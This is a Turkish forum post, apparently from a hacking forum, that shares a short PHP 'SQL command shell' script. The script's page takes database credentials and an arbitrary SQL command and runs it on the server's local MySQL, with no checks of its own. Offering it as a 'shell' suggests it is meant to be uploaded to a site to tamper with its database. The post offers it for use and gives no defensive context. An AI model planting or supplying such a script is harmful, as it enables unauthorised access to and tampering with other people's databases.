Sql Command Shel Php Kaçırma

<?php // coded by No Feel echo "<center><h1>SQL Command Line</h1></center>"; echo " <title>SQL cmd</title> <body bgcolor='yellow' > <center><form action='sql_cmd.php'...

153994318.jpg

Kod:
<?php
// coded by No Feel
echo "<center><h1>SQL Command Line</h1></center>";
 
echo "
<title>SQL cmd</title>
<body bgcolor='yellow' >
<center><form action='sql_cmd.php' method='post'>
Host : <input type='text' name='host' value='localhost' /><br />
username : <input type='text' name='user' /> <br />
password : <input type='text' name='pass' /><br />
db_name : <input type='text' name='na' /><br />
command : <input type='text' name='do'  /><br />
<input type='submit' value='do' name='d'   /><br />
</form>
</center>
</body>
";
 
 
$u = $_POST['user'];
$p = $_POST['pass'];
$n = $_POST['na'];
$c = $_POST['do'];
 
$con = mysql_connect("localhost",$u,$p);
mysql_select_db($n);
 
 
if(isset($_POST['d']) && $_POST['d'] == 'do')
{
        if($con){
                $q = mysql_query($c);
                //echo "<center><h3>Connection Done !! </h3></center>";
        }
 
        echo "<center><h2>Done !! </h2></center>";
 
}
 
 
echo "<center>No Feel &copy; 2014</center>"
 
?>
 
131,760Konular
3,271,110Mesajlar
316,120Kullanıcılar
Srk14531Son Üye
Üst Alt